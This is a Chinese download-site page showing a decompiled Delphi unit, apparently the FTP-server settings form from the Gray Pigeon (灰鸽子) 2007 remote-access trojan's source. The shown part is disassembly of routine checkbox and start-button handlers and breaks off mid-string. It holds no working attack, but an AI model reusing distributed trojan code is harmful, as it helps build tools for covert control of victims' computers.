⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ftpserverunit.pas

📁 灰鸽子2007VIP版源码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
005ACEB4   8D85E8FDFFFF           lea     eax, [ebp+$FFFFFDE8]

* Reference to: System.@LStrClr(void;void);
|
005ACEBA   E86D7BE5FF             call    00404A2C
005ACEBF   8D85ECFDFFFF           lea     eax, [ebp+$FFFFFDEC]
005ACEC5   BA03000000             mov     edx, $00000003

* Reference to: System.@LStrArrayClr(void;void;Integer);
|
005ACECA   E8817BE5FF             call    00404A50
005ACECF   8D85F8FDFFFF           lea     eax, [ebp+$FFFFFDF8]
005ACED5   BA02000000             mov     edx, $00000002

* Reference to: System.@LStrArrayClr(void;void;Integer);
|
005ACEDA   E8717BE5FF             call    00404A50
005ACEDF   C3                     ret


* Reference to: System.@HandleFinally;
|
005ACEE0   E9AB74E5FF             jmp     00404390
005ACEE5   EBCD                   jmp     005ACEB4

****** END
|
005ACEE7   5F                     pop     edi
005ACEE8   5E                     pop     esi
005ACEE9   5B                     pop     ebx
005ACEEA   8BE5                   mov     esp, ebp
005ACEEC   5D                     pop     ebp
005ACEED   C20C00                 ret     $000C

*)
end;

procedure TFTPServerForm.CheckBox6Click(Sender : TObject);
begin
(*
005ACEF0   55                     push    ebp
005ACEF1   8BEC                   mov     ebp, esp
005ACEF3   53                     push    ebx
005ACEF4   56                     push    esi
005ACEF5   57                     push    edi
005ACEF6   8BD8                   mov     ebx, eax

* Reference to control TFTPServerForm.CheckBox6 : TspSkinCheckRadioBox
|
005ACEF8   8B832C030000           mov     eax, [ebx+$032C]

* Reference to field TspSkinCheckRadioBox.OFFS_02F0
|
005ACEFE   80B8F002000000         cmp     byte ptr [eax+$02F0], $00
005ACF05   746C                   jz      005ACF73

* Reference to control TFTPServerForm.UserEdit : TspSkinEdit
|
005ACF07   8B8308030000           mov     eax, [ebx+$0308]
005ACF0D   33D2                   xor     edx, edx
005ACF0F   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinEdit.OFFS_64
|
005ACF11   FF5164                 call    dword ptr [ecx+$64]

* Reference to control TFTPServerForm.PassEdit : TspSkinPasswordEdit
|
005ACF14   8B8344030000           mov     eax, [ebx+$0344]
005ACF1A   33D2                   xor     edx, edx
005ACF1C   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinPasswordEdit.OFFS_64
|
005ACF1E   FF5164                 call    dword ptr [ecx+$64]

* Reference to control TFTPServerForm.AutoSaveFTPInf : TspSkinCheckRadioBox
|
005ACF21   8B833C030000           mov     eax, [ebx+$033C]

* Reference to field TspSkinCheckRadioBox.OFFS_02F0
|
005ACF27   80B8F002000000         cmp     byte ptr [eax+$02F0], $00
005ACF2E   0F84A5000000           jz      005ACFD9
005ACF34   33C0                   xor     eax, eax
005ACF36   55                     push    ebp
005ACF37   6867CF5A00             push    $005ACF67

***** TRY
|
005ACF3C   64FF30                 push    dword ptr fs:[eax]
005ACF3F   648920                 mov     fs:[eax], esp
005ACF42   68E8CF5A00             push    $005ACFE8

* Reference to pointer to GlobalVar_005DF888
|
005ACF47   A1D4BA5D00             mov     eax, dword ptr [$005DBAD4]
005ACF4C   8B00                   mov     eax, [eax]

* Possible String Reference to: 'Anonymous'
|
005ACF4E   B9F4CF5A00             mov     ecx, $005ACFF4

* Possible String Reference to: 'FTPServer'
|
005ACF53   BA08D05A00             mov     edx, $005AD008
005ACF58   8B18                   mov     ebx, [eax]

* Possible reference to virtual method TGlobalVar_005DF888.OFFS_04
|
005ACF5A   FF5304                 call    dword ptr [ebx+$04]
005ACF5D   33C0                   xor     eax, eax
005ACF5F   5A                     pop     edx
005ACF60   59                     pop     ecx
005ACF61   59                     pop     ecx
005ACF62   648910                 mov     fs:[eax], edx
005ACF65   EB72                   jmp     005ACFD9

* Reference to: System.@HandleAnyException;
|
005ACF67   E97071E5FF             jmp     004040DC

* Reference to: System.@DoneExcept;
|
005ACF6C   E8D374E5FF             call    00404444
005ACF71   EB66                   jmp     005ACFD9

* Reference to control Label1 : TspSkinStdLabel
|
005ACF73   8B8308030000           mov     eax, [ebx+$0308]
005ACF79   B201                   mov     dl, $01
005ACF7B   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinStdLabel.OFFS_64
|
005ACF7D   FF5164                 call    dword ptr [ecx+$64]

* Reference to control Label2 : TspSkinStdLabel
|
005ACF80   8B8344030000           mov     eax, [ebx+$0344]
005ACF86   B201                   mov     dl, $01
005ACF88   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TspSkinStdLabel.OFFS_64
|
005ACF8A   FF5164                 call    dword ptr [ecx+$64]

* Reference to control ServerText : N.A.
|
005ACF8D   8B833C030000           mov     eax, [ebx+$033C]

* Reference to field N.A..OFFS_02F0
|
005ACF93   80B8F002000000         cmp     byte ptr [eax+$02F0], $00
005ACF9A   743D                   jz      005ACFD9
005ACF9C   33C0                   xor     eax, eax
005ACF9E   55                     push    ebp
005ACF9F   68CFCF5A00             push    $005ACFCF

***** TRY
|
005ACFA4   64FF30                 push    dword ptr fs:[eax]
005ACFA7   648920                 mov     fs:[eax], esp
005ACFAA   681CD05A00             push    $005AD01C

* Reference to pointer to GlobalVar_005DF888
|
005ACFAF   A1D4BA5D00             mov     eax, dword ptr [$005DBAD4]
005ACFB4   8B00                   mov     eax, [eax]

* Possible String Reference to: 'Anonymous'
|
005ACFB6   B9F4CF5A00             mov     ecx, $005ACFF4

* Possible String Reference to: 'FTPServer'
|
005ACFBB   BA08D05A00             mov     edx, $005AD008
005ACFC0   8B18                   mov     ebx, [eax]

* Possible reference to virtual method TGlobalVar_005DF888.OFFS_04
|
005ACFC2   FF5304                 call    dword ptr [ebx+$04]
005ACFC5   33C0                   xor     eax, eax
005ACFC7   5A                     pop     edx
005ACFC8   59                     pop     ecx
005ACFC9   59                     pop     ecx
005ACFCA   648910                 mov     fs:[eax], edx
005ACFCD   EB0A                   jmp     005ACFD9

* Reference to: System.@HandleAnyException;
|
005ACFCF   E90871E5FF             jmp     004040DC

* Reference to: System.@DoneExcept;
|
005ACFD4   E86B74E5FF             call    00404444

****** END
|
005ACFD9   5F                     pop     edi
005ACFDA   5E                     pop     esi
005ACFDB   5B                     pop     ebx
005ACFDC   5D                     pop     ebp
005ACFDD   C3                     ret

*)
end;

procedure TFTPServerForm.StartButtonClick(Sender : TObject);
begin
(*
005AD020   55                     push    ebp
005AD021   8BEC                   mov     ebp, esp
005AD023   33C9                   xor     ecx, ecx
005AD025   51                     push    ecx
005AD026   51                     push    ecx
005AD027   51                     push    ecx
005AD028   51                     push    ecx
005AD029   53                     push    ebx
005AD02A   56                     push    esi
005AD02B   57                     push    edi
005AD02C   8BD8                   mov     ebx, eax
005AD02E   33C0                   xor     eax, eax
005AD030   55                     push    ebp

* Possible String Reference to: '镕r

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -